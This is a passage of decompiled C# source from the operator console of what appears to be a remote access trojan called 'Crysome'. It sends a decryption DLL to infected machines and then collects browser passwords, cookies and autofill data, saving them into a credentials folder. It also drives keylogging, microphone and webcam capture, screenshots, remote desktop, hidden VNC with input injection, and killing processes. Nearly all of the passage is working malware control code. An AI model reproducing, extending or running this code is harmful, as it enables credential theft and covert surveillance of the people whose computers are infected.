//IL_0020: Expected O, but got Unknown
ProxyStatusResponsePacket resp = (ProxyStatusResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => (object)c.Owner == (object)(CrysomeClient)sender);
if (clientInfo != null)
{
clientInfo.ProxyActive = resp.Active;
Log("Proxy on " + clientInfo.Address + ": " + resp.Message, "PROXY");
if (resp.Active && _proxyStartCount > 0)
{
string item = ParsePortFromProxyMessage(resp.Message);
_proxyResultsForModal.Add((clientInfo.Address, item));
if (_proxyResultsForModal.Count >= _proxyStartCount)
{
DispatcherTimer proxyModalTimer = _proxyModalTimer;
if (proxyModalTimer != null)
{
proxyModalTimer.Stop();
}
_proxyModalTimer = null;
_proxyStartCount = 0;
ShowProxyResultsModal();
}
}
}
}, Array.Empty<object>());
}
private void DoRestart()
{
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
//IL_0036: Expected O, but got Unknown
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo?.Owner == null)
{
return;
}
try
{
clientInfo.Owner.SendPacket((IPacket)new RestartRequestPacket());
}
catch
{
}
}
private void DoTakeScreenshot()
{
//IL_0084: Unknown result type (might be due to invalid IL or missing references)
//IL_008e: Expected O, but got Unknown
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
if (list == null || list.Count == 0)
{
EnqueueStatus("Select one or more clients");
return;
}
foreach (ClientInfo item in list.Where((ClientInfo x) => x?.Owner != null))
{
try
{
item.Owner.SendPacket((IPacket)new TakeScreenshotRequestPacket());
Log("Screenshot requested: " + item.Address, "SYS");
}
catch (Exception ex)
{
Log("Screenshot request failed " + item.Address + ": " + ex.Message, "SYS");
}
}
if (list.Count > 0)
{
EnqueueStatus("Screenshot requested from " + list.Count + " client(s)");
}
}
private void HandleScreenshotResponse(CrysomeClient sender, IPacket packet)
{
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
TakeScreenshotResponsePacket val = (TakeScreenshotResponsePacket)packet;
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string title = ((clientInfo != null) ? ("Screenshot — " + clientInfo.Address) : ("Screenshot — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
byte[] data = ((val != null) ? val.ImageData : null);
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ScreenshotViewerWindow screenshotViewerWindow = new ScreenshotViewerWindow(title, data);
((Window)(object)screenshotViewerWindow).Owner = Application.Current.MainWindow;
((Window)(object)screenshotViewerWindow).Show();
}, Array.Empty<object>());
}
private static byte[] LoadAbeDecryptDllBytes()
{
try
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string text = executingAssembly.GetManifestResourceNames().FirstOrDefault((string n) => n.EndsWith("abe_decrypt.dll", StringComparison.OrdinalIgnoreCase));
if (text != null)
{
using Stream stream = executingAssembly.GetManifestResourceStream(text);
if (stream != null && stream.Length > 0)
{
byte[] array = new byte[stream.Length];
if (stream.Read(array, 0, array.Length) == array.Length)
{
return array;
}
}
}
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
string[] array2 = new string[3]
{
Path.Combine(baseDirectory, "abe_decrypt.dll"),
Path.Combine(baseDirectory, "Resources", "abe_decrypt.dll"),
Path.Combine(baseDirectory, "..", "Resources", "abe_decrypt.dll")
};
foreach (string path in array2)
{
if (File.Exists(path))
{
return File.ReadAllBytes(path);
}
}
}
catch
{
}
return null;
}
private void DoRequestCredentials(byte requestType)
{
//IL_00ce: Unknown result type (might be due to invalid IL or missing references)
//IL_00d5: Expected O, but got Unknown
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
if (list == null || list.Count == 0)
{
EnqueueStatus("Select one or more clients");
return;
}
byte[] array = LoadAbeDecryptDllBytes();
if (array == null || array.Length == 0)
{
EnqueueStatus("abe_decrypt.dll not found. Place it in Crysome.Server output folder, Resources subfolder, or add to Resources and rebuild.");
return;
}
List<ClientInfo> list2 = list.Where((ClientInfo x) => x?.Owner != null).ToList();
int count = list2.Count;
foreach (ClientInfo c in list2)
{
try
{
FtSender val = new FtSender(c.Owner, "abe_decrypt.dll", array);
byte rt = requestType;
string addr = c.Address;
val.OnDone = delegate(uint id, bool ok, string msg)
{
//IL_0040: Unknown result type (might be due to invalid IL or missing references)
//IL_004a: Expected O, but got Unknown
_activeSenders.TryRemove(id, out var _);
if (ok)
{
try
{
c.Owner.SendPacket((IPacket)new RequestCredentialsPacket(rt, (byte[])null));
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("DLL delivered, credentials requested: " + addr, "SYS");
}, Array.Empty<object>());
return;
}
catch (Exception ex2)
{
Exception ex3 = ex2;
Exception ex4 = ex3;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("Credential request failed " + addr + ": " + ex4.Message, "SYS");
}, Array.Empty<object>());
return;
}
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("DLL transfer failed " + addr + ": " + msg, "SYS");
}, Array.Empty<object>());
};
_activeSenders[val.TransferId] = val;
val.Start();
Log("Sending DLL to " + addr + " (" + array.Length + " B, " + val.TotalChunks + " chunks)...", "SYS");
}
catch (Exception ex)
{
Log("Credentials request failed " + c.Address + ": " + ex.Message, "SYS");
}
}
EnqueueStatus("Credentials requested from " + count + " client(s). DLL transferring...");
}
private void HandleCredentialsResponse(CrysomeClient sender, IPacket packet)
{
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
CredentialsResponsePacket val = (CredentialsResponsePacket)packet;
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string title = ((clientInfo != null) ? ("Credentials — " + clientInfo.Address) : ("Credentials — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
string err = ((val != null) ? val.ErrorMessage : null) ?? "";
string pw = ((val != null) ? val.PasswordsJson : null) ?? "";
string ck = ((val != null) ? val.CookiesJson : null) ?? "";
string af = ((val != null) ? val.AutofillsJson : null) ?? "";
try
{
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "credentials");
Directory.CreateDirectory(text);
string text2 = string.Concat((clientInfo?.Address ?? "unknown").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
string text3 = DateTime.Now.ToString("yyyyMMdd_HHmmss");
if (!string.IsNullOrWhiteSpace(pw))
{
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_passwords.json"), pw);
}
if (!string.IsNullOrWhiteSpace(ck))
{
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_cookies.json"), ck);
}
if (!string.IsNullOrWhiteSpace(af))
{
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_autofills.json"), af);
}
}
catch
{
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
CredentialsViewerWindow credentialsViewerWindow = new CredentialsViewerWindow(title, pw, ck, af, string.IsNullOrEmpty(err) ? null : err);
((Window)(object)credentialsViewerWindow).Owner = Application.Current.MainWindow;
((Window)(object)credentialsViewerWindow).Show();
}, Array.Empty<object>());
}
private void HandleProcessListResponse(CrysomeClient sender, IPacket packet)
{
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
if (_processListCallbacks.TryGetValue(sender, out var cb))
{
_processListCallbacks.Remove(sender);
GetProcessListResponsePacket resp = (GetProcessListResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(resp);
}, Array.Empty<object>());
}
}
public void RequestProcessList(ClientInfo client, Action<GetProcessListResponsePacket> callback)
{
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
if (client?.Owner == null || callback == null)
{
return;
}
_processListCallbacks[client.Owner] = callback;
try
{
client.Owner.SendPacket((IPacket)new GetProcessListRequestPacket());
}
catch
{
_processListCallbacks.Remove(client.Owner);
}
}
public void KillProcessOnClient(ClientInfo client, int pid)
{
//IL_0017: Unknown result type (might be due to invalid IL or missing references)
//IL_0021: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
try
{
client.Owner.SendPacket((IPacket)new KillProcessRequestPacket(pid));
}
catch
{
}
}
public void RequestAudio(ClientInfo client, int seconds, Action<byte[]> onReceived)
{
RequestAudio(client, seconds, 0, onReceived);
}
public void RequestAudio(ClientInfo client, int seconds, int deviceIndex, Action<byte[]> onReceived)
{
//IL_0079: Unknown result type (might be due to invalid IL or missing references)
//IL_0083: Expected O, but got Unknown
if (client?.Owner == null || onReceived == null)
{
return;
}
Log("RequestAudio SENT to " + client.Address + " sec=" + seconds + " idx=" + deviceIndex, "MIC");
_audioDataCallbacks[client.Owner] = onReceived;
try
{
client.Owner.SendPacket((IPacket)new RequestAudioPacket(seconds, deviceIndex));
}
catch (Exception ex)
{
Log("RequestAudio SEND FAIL: " + ex.Message, "MIC");
_audioDataCallbacks.Remove(client.Owner);
}
}
public void RequestCameraFrame(ClientInfo client, int deviceIndex, Action<byte[]> onReceived)
{
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
//IL_005c: Expected O, but got Unknown
if (client?.Owner == null || onReceived == null)
{
return;
}
Log("RequestCameraFrame SENT to " + client.Address + " idx=" + deviceIndex, "CAM");
_cameraFrameCallbacks[client.Owner] = onReceived;
try
{
client.Owner.SendPacket((IPacket)new RequestCameraFramePacket(deviceIndex));
}
catch (Exception ex)
{
Log("RequestCameraFrame SEND FAIL: " + ex.Message, "CAM");
_cameraFrameCallbacks.Remove(client.Owner);
}
}
public void GetCameraDevices(ClientInfo client, Action<string[]> onReceived)
{
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Expected O, but got Unknown
//IL_00af: Unknown result type (might be due to invalid IL or missing references)
//IL_00b9: Expected O, but got Unknown
if (client?.Owner == null || onReceived == null)
{
return;
}
CrysomeClient owner = client.Owner;
Log("GetCameraDevices SENT to " + client.Address, "CAM");
_cameraDevicesCallbacks[owner] = onReceived;
DispatcherTimer timeout = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(8L)
};
timeout.Tick += delegate
{
timeout.Stop();
if (_cameraDevicesCallbacks.TryGetValue(owner, out var cb))
{
_cameraDevicesCallbacks.Remove(owner);
Log("GetCameraDevices TIMEOUT (8s) " + client.Address, "CAM");
Application current = Application.Current;
if (current != null)
{
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
if (dispatcher != null)
{
dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(new string[0]);
}, Array.Empty<object>());
}
}
}
};
timeout.Start();
try
{
owner.SendPacket((IPacket)new GetCameraDevicesPacket());
}
catch (Exception ex)
{
Log("GetCameraDevices SEND FAIL: " + ex.Message, "CAM");
_cameraDevicesCallbacks.Remove(owner);
timeout.Stop();
}
}
public void GetAudioDevices(ClientInfo client, Action<string[]> onReceived)
{
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Expected O, but got Unknown
//IL_00af: Unknown result type (might be due to invalid IL or missing references)
//IL_00b9: Expected O, but got Unknown
if (client?.Owner == null || onReceived == null)
{
return;
}
CrysomeClient owner = client.Owner;
Log("GetAudioDevices SENT to " + client.Address, "MIC");
_audioDevicesCallbacks[owner] = onReceived;
DispatcherTimer timeout = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(8L)
};
timeout.Tick += delegate
{
timeout.Stop();
if (_audioDevicesCallbacks.TryGetValue(owner, out var cb))
{
_audioDevicesCallbacks.Remove(owner);
Log("GetAudioDevices TIMEOUT (8s) " + client.Address, "MIC");
Application current = Application.Current;
if (current != null)
{
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
if (dispatcher != null)
{
dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(new string[0]);
}, Array.Empty<object>());
}
}
}
};
timeout.Start();
try
{
owner.SendPacket((IPacket)new GetAudioDevicesPacket());
}
catch (Exception ex)
{
Log("GetAudioDevices SEND FAIL: " + ex.Message, "MIC");
_audioDevicesCallbacks.Remove(owner);
timeout.Stop();
}
}
public void StartKeylogger(ClientInfo client, Action<string> onLog)
{
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
if (client?.Owner == null || onLog == null)
{
return;
}
_keyloggerCallbacks[client.Owner] = onLog;
try
{
client.Owner.SendPacket((IPacket)new StartKeyloggerPacket());
}
catch
{
_keyloggerCallbacks.Remove(client.Owner);
}
}
public void StopKeylogger(ClientInfo client)
{
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
//IL_0031: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
_keyloggerCallbacks.Remove(client.Owner);
try
{
client.Owner.SendPacket((IPacket)new StopKeyloggerPacket());
}
catch
{
}
}
public void RegisterChatHandler(ClientInfo client, Action<string, string> onMessage)
{
if (client?.Owner != null && onMessage != null)
{
_chatHandlers[client.Owner] = onMessage;
}
}
public void UnregisterChatHandler(ClientInfo client)
{
if (client?.Owner != null)
{
_chatHandlers.Remove(client.Owner);
}
}
public void SendChatMessage(ClientInfo client, string message)
{
//IL_001f: Unknown result type (might be due to invalid IL or missing references)
//IL_0029: Expected O, but got Unknown
if (client?.Owner == null || string.IsNullOrEmpty(message))
{
return;
}
try
{
client.Owner.SendPacket((IPacket)new ChatMessagePacket(message));
}
catch
{
}
}
public void StartAudioStream(ClientInfo client, int deviceIndex, Action<byte[]> onChunk)
{
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
//IL_005c: Expected O, but got Unknown
if (client?.Owner == null || onChunk == null)
{
return;
}
Log("StartAudioStream SENT to " + client.Address + " idx=" + deviceIndex, "MIC");
_audioStreamHandlers[client.Owner] = onChunk;
try
{
client.Owner.SendPacket((IPacket)new StartAudioStreamPacket(deviceIndex));
}
catch (Exception ex)
{
Log("StartAudioStream SEND FAIL: " + ex.Message, "MIC");
_audioStreamHandlers.Remove(client.Owner);
}
}
public void StopAudioStream(ClientInfo client)
{
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
//IL_0031: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
_audioStreamHandlers.Remove(client.Owner);
try
{
client.Owner.SendPacket((IPacket)new StopAudioStreamPacket());
}
catch
{
}
}
public void StartRemoteDesktop(ClientInfo client, int intervalMs, int screenIndex, byte captureMode, Action<byte[]> onFrame, Action<int> onQualityChange = null)
{
//IL_0074: Unknown result type (might be due to invalid IL or missing references)
//IL_0079: Unknown result type (might be due to invalid IL or missing references)
//IL_0080: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Unknown result type (might be due to invalid IL or missing references)
//IL_008e: Unknown result type (might be due to invalid IL or missing references)
//IL_009a: Expected O, but got Unknown
if (client?.Owner == null || onFrame == null)
{
return;
}
_desktopFrameHandlers[client.Owner] = onFrame;
if (onQualityChange != null)
{
_rdpQualityCallbacks[client.Owner] = onQualityChange;
}
RdpQualityState state = new RdpQualityState
{
IntervalMs = intervalMs
};
_rdpQualityStates[client.Owner] = state;
StartRemoteDesktopPacket pkt = new StartRemoteDesktopPacket
{
IntervalMs = intervalMs,
ScreenIndex = screenIndex,
UdpPort = 0,
SessionToken = 0u,
CaptureMode = captureMode
};
try
{
client.Owner.SendPacket((IPacket)(object)pkt);
}
catch
{
_desktopFrameHandlers.Remove(client.Owner);
_rdpQualityCallbacks.Remove(client.Owner);
_rdpQualityStates.Remove(client.Owner);
return;
}
CrysomeClient owner = client.Owner;
Task.Run(delegate
{
for (int i = 1; i <= 3; i++)
{
Thread.Sleep(5000);
if (!_desktopFrameHandlers.ContainsKey(owner) || state.LastFrameTime != DateTime.MinValue)
{
break;
}
try
{
owner.SendPacket((IPacket)(object)pkt);
}
catch
{
break;
}
}
});
}
public void GetScreens(ClientInfo client, Action<ScreensResponsePacket> onReceived)
{
//IL_003e: Unknown result type (might be due to invalid IL or missing references)
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_0055: Expected O, but got Unknown
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Expected O, but got Unknown
if (client?.Owner == null || onReceived == null)
{
return;
}
CrysomeClient owner = client.Owner;
_screensCallbacks[owner] = onReceived;
DispatcherTimer timeout = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(8L)
};
timeout.Tick += delegate
{
timeout.Stop();
if (_screensCallbacks.TryGetValue(owner, out var cb))
{
_screensCallbacks.Remove(owner);
Application current = Application.Current;
if (current != null)
{
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
if (dispatcher != null)
{
dispatcher.BeginInvoke((Delegate)(Action)delegate
{
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
//IL_0010: Expected O, but got Unknown
cb(new ScreensResponsePacket());
}, Array.Empty<object>());
}
}
}
};
timeout.Start();
try
{
owner.SendPacket((IPacket)new GetScreensRequestPacket());
}
catch
{
_screensCallbacks.Remove(owner);
timeout.Stop();
}
}
public void StopRemoteDesktop(ClientInfo client)
{
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_006d: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
_desktopFrameHandlers.Remove(client.Owner);
_rdpQualityCallbacks.Remove(client.Owner);
_rdpQualityStates.Remove(client.Owner);
server?.UnregisterUdpSession(client.Owner);
try
{
client.Owner.SendPacket((IPacket)new StopRemoteDesktopPacket());
}
catch
{
}
}
public List<CrysomeClient> GetClientSnapshot()
{
return server?.GetClientSnapshot() ?? new List<CrysomeClient>();
}
public void UnregisterDesktopFrames(ClientInfo client)
{
if (client?.Owner != null)
{
_desktopFrameHandlers.Remove(client.Owner);
_rdpQualityCallbacks.Remove(client.Owner);
_rdpQualityStates.Remove(client.Owner);
}
}
public void SendRemoteInput(ClientInfo client, byte kind, int x, int y, int buttonOrKey)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Unknown result type (might be due to invalid IL or missing references)
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
RemoteInputPacket val = new RemoteInputPacket
{
Kind = kind,
X = x,
Y = y,
ButtonOrKey = buttonOrKey
};
try
{
if (kind == 0)
{
client.Owner.SendPacketUnreliable((IPacket)(object)val);
}
else
{
client.Owner.SendPacket((IPacket)(object)val);
}
}
catch
{
}
}
public void StartHvnc(ClientInfo client, int quality, int intervalMs, Action<byte[]> onFrame)
{
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
//IL_0044: Expected O, but got Unknown
if (client?.Owner == null || onFrame == null)
{
return;
}
_hvncFrameHandlers[client.Owner] = onFrame;
try
{
client.Owner.SendPacket((IPacket)new StartHvncPacket
{
Quality = quality,
IntervalMs = intervalMs
});
}
catch
{
_hvncFrameHandlers.Remove(client.Owner);
}
}
public void StopHvnc(ClientInfo client)
{
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
//IL_0031: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
_hvncFrameHandlers.Remove(client.Owner);
try
{
client.Owner.SendPacket((IPacket)new StopHvncPacket());
}
catch
{
}
}
public void UnregisterHvncFrames(ClientInfo client)
{
if (client?.Owner != null)
{
_hvncFrameHandlers.Remove(client.Owner);
}
}
public void SendHvncInput(ClientInfo client, int msg, int wParam, int lParam)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Unknown result type (might be due to invalid IL or missing references)
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
//IL_002b: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
HvncInputPacket val = new HvncInputPacket
{
Msg = msg,
WParam = wParam,
LParam = lParam
};
try
{
if (msg == 512)
{
client.Owner.SendPacketUnreliable((IPacket)(object)val);
}
else
{
client.Owner.SendPacket((IPacket)(object)val);
}
}
catch
{
}
}
public void SendHvncRunRequest(ClientInfo client, byte action, string path = null)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
//IL_0037: Expected O, but got Unknown
if (client?.Owner == null)
{
return;
}
try
{
client.Owner.SendPacket((IPacket)new HvncRunRequestPacket
{
Action = action,
Path = (path ?? "")
});
}
catch
{
}
}
private void HandleHvncFrame(CrysomeClient sender, IPacket packet)
{
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0027: Expected O, but got Unknown
if (_hvncFrameHandlers.TryGetValue(sender, out var cb))
{
HvncFramePacket p = (HvncFramePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.ImageData ?? new byte[0]);
}, Array.Empty<object>());
}
}
private void HandleAudioData(CrysomeClient sender, IPacket packet)
{
//IL_0094: Unknown result type (might be due to invalid IL or missing references)
//IL_009e: Expected O, but got Unknown
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
Log("AudioData RECV from " + text, "MIC");
if (!_audioDataCallbacks.TryGetValue(sender, out var cb))
{
Log("AudioData no callback for " + text, "MIC");
return;
}
_audioDataCallbacks.Remove(sender);
AudioDataPacket p = (AudioDataPacket)packet;
byte[] wavData = p.WavData;
Log("AudioData " + ((wavData != null) ? wavData.Length : 0) + " bytes from " + text, "MIC");
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.WavData ?? new byte[0]);
}, Array.Empty<object>());
}
private void HandleCameraFrame(CrysomeClient sender, IPacket packet)
{
//IL_0094: Unknown result type (might be due to invalid IL or missing references)
//IL_009e: Expected O, but got Unknown
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
Log("CameraFrame RECV from " + text, "CAM");
if (!_cameraFrameCallbacks.TryGetValue(sender, out var cb))
{
Log("CameraFrame no callback for " + text, "CAM");
return;
}
_cameraFrameCallbacks.Remove(sender);
CameraFramePacket p = (CameraFramePacket)packet;
byte[] jpegData = p.JpegData;
Log("CameraFrame " + ((jpegData != null) ? jpegData.Length : 0) + " bytes from " + text, "CAM");
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.JpegData ?? new byte[0]);
}, Array.Empty<object>());
}
private void HandleKeylogData(CrysomeClient sender, IPacket packet)
{
//IL_0082: Unknown result type (might be due to invalid IL or missing references)
//IL_008c: Expected O, but got Unknown
ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
if (info != null && !info.KeyloggerActive)
{
Application current = Application.Current;
if (current != null)
{
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
info.KeyloggerActive = true;
}, Array.Empty<object>());
}
}
if (_keyloggerCallbacks.TryGetValue(sender, out var cb))
{
KeylogDataPacket p = (KeylogDataPacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.Data ?? "");
}, Array.Empty<object>());
}
}
public void RegisterOfflineKeylogCallback(CrysomeClient client, Action<string, bool> cb)
{
_offlineKeylogCallbacks[client] = cb;
}
public void UnregisterOfflineKeylogCallback(CrysomeClient client)
{
_offlineKeylogCallbacks.TryRemove(client, out var _);
}
private void HandleOfflineKeylogData(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
OfflineKeylogDataPacket p = (OfflineKeylogDataPacket)packet;
ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
if (_offlineKeylogCallbacks.TryGetValue(sender, out var cb))
{
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.Data ?? "", arg2: true);
}, Array.Empty<object>());
}
else
{
if (info == null)
{
return;
}
Application current = Application.Current;
if (current != null)
{
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
info.AppendOfflineKeylog(p.Data ?? "");
}, Array.Empty<object>());
}
}
}
private void HandleChatMessage(CrysomeClient sender, IPacket packet)
{
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Expected O, but got Unknown
if (_chatHandlers.TryGetValue(sender, out var cb))
{
ChatMessagePacket p = (ChatMessagePacket)packet;
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string from = ((clientInfo != null) ? clientInfo.Address : "?");
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(from, p.Message ?? "");
}, Array.Empty<object>());
}
}
private void HandleCameraDevicesResponse(CrysomeClient sender, IPacket packet)
{
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
//IL_0099: Expected O, but got Unknown
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
Log("CameraDevicesResponse RECV from " + text, "CAM");
if (!_cameraDevicesCallbacks.TryGetValue(sender, out var cb))
{
Log("CameraDevicesResponse no callback for " + text, "CAM");
return;
}
_cameraDevicesCallbacks.Remove(sender);
CameraDevicesResponsePacket val = (CameraDevicesResponsePacket)packet;
string[] names = val.DeviceNames ?? new string[0];
Log("CameraDevicesResponse " + names.Length + " devices from " + text, "CAM");
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(names);
}, Array.Empty<object>());
}
private void HandleAudioDevicesResponse(CrysomeClient sender, IPacket packet)
{
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
//IL_0099: Expected O, but got Unknown
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
Log("AudioDevicesResponse RECV from " + text, "MIC");
if (!_audioDevicesCallbacks.TryGetValue(sender, out var cb))
{
Log("AudioDevicesResponse no callback for " + text, "MIC");
return;
}
_audioDevicesCallbacks.Remove(sender);
AudioDevicesResponsePacket val = (AudioDevicesResponsePacket)packet;
string[] names = val.DeviceNames ?? new string[0];
Log("AudioDevicesResponse " + names.Length + " devices from " + text, "MIC");
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(names);
}, Array.Empty<object>());
}
private void HandleAudioStreamChunk(CrysomeClient sender, IPacket packet)
{
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0027: Expected O, but got Unknown
if (_audioStreamHandlers.TryGetValue(sender, out var cb))
{
AudioStreamChunkPacket p = (AudioStreamChunkPacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.Chunk ?? new byte[0]);
}, Array.Empty<object>());
}
}
private void HandleDesktopFrame(CrysomeClient sender, IPacket packet)
{
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0027: Expected O, but got Unknown
if (!_desktopFrameHandlers.TryGetValue(sender, out var cb))
{
return;
}
DesktopFramePacket p = (DesktopFramePacket)packet;
if (_rdpQualityStates.TryGetValue(sender, out var value))
{
DateTime utcNow = DateTime.UtcNow;
if (value.LastFrameTime != DateTime.MinValue)
{
double totalMilliseconds = (utcNow - value.LastFrameTime).TotalMilliseconds;
double num = (double)value.IntervalMs * 4.0;
if (totalMilliseconds > num)
{
value.BadStreak++;
value.GoodStreak = 0;
if (value.BadStreak >= 5)
{
RdpStepDown(sender, value);
value.BadStreak = 0;
}
}
else
{
value.GoodStreak++;
value.BadStreak = 0;
if (value.GoodStreak >= 8)
{
RdpStepUp(sender, value);
value.GoodStreak = 0;
}
}
}
value.LastFrameTime = utcNow;
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
cb(p.ImageData ?? new byte[0]);
}, Array.Empty<object>());
}
private void Server_UdpFrameReceived(object s, UdpFrameEventArgs e)
{
//IL_0017: Unknown result type (might be due to invalid IL or missing references)
//IL_0021: Expected O, but got Unknown
//IL_0039: Unknown result type (might be due to invalid IL or missing references)
//IL_0043: Expected O, but got Unknown
if (e.PacketTypeId == 36)
{
HandleDesktopFrame(e.Client, (IPacket)new DesktopFramePacket(e.Data));
}
else if (e.PacketTypeId == 46)
{
HandleHvncFrame(e.Client, (IPacket)new HvncFramePacket(e.Data));
}
}
private void RdpStepDown(CrysomeClient client, RdpQualityState state)
{
if (state.Level > 0)
{
state.Level--;
state.CurrentQuality = _rdpLevels[state.Level].Quality;
state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
}
}
private void RdpStepUp(CrysomeClient client, RdpQualityState state)
{
if (state.Level < _rdpLevels.Length - 1)
{
state.Level++;
state.CurrentQuality = _rdpLevels[state.Level].Quality;
state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
}
}
private void SendRdpLevel(CrysomeClient client, int quality, int intervalMs)
{
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001f: Expected O, but got Unknown
